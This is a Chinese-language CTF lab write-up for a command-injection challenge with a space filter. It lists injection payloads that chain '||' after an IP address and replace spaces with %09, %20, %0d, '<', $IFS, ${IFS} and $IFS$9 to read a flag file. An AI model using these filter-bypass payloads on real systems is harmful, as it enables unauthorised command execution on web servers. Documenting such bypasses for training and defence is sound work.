Write up
本题相对于上题,改为对空格的过滤

依旧是先查看同目录下文件

由于对空格进行过滤,导致很多指令无法执行,无论是cat还是cp等都需要将指令和目标文件进行分开,所以空格是比较关键的。
所以,对空格过滤部分的绕过可以考虑编码绕过
首先 可尝试URL编码 空格为
%20
tab编码 %09
0x7F000001||cp%09flag_1344089286819.php%09flag.txt
0x7F000001||cp%20flag_1344089286819.php%20flag.txt
0x7F000001||cp%0dflag_1344089286819.php%0dflag.txt
0x7F000001||cp<flag_1344089286819.php<flag.txt(<只适合单空格)
其次 可尝试Linux分隔符,编码 空格为%20
tab编码 %09
0x7F000001||cp$IFSflag_1344089286819.php$IFSflag.txt
0x7F000001||cp\${IFS}flag_1344089286819.php\${IFS}flag.txt
0x7F000001||cp\$IFS\$9flag_1344089286819.php\$IFS\$9flag.txt
扩展
Linux 分隔符
${IFS}, $IFS, $IFS$9
\$IFS
:在linux系统下表示分隔符,但是后面内容当做变量,所以引出改进版
\${IFS}
: 使用{来进行固定变量名}
\$IFS\$9
:使用$9来进行截断,$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
对于上面三个进行本地测试cp命令:

可以看到除了$IFS无法进行创建,其余均执行成功
本题通过测试可以使用以下payload成功获取答案
127.0.0.1||cat${IFS}flag_1344089286819.php

ctfhub{6ebf357e9f10fbca7387aa****c8a9cc72}
参考资料
FreeBuf 浅谈CTF中命令执行与绕过的小技巧
CSDN CTF命令执行及绕过技巧
网友评论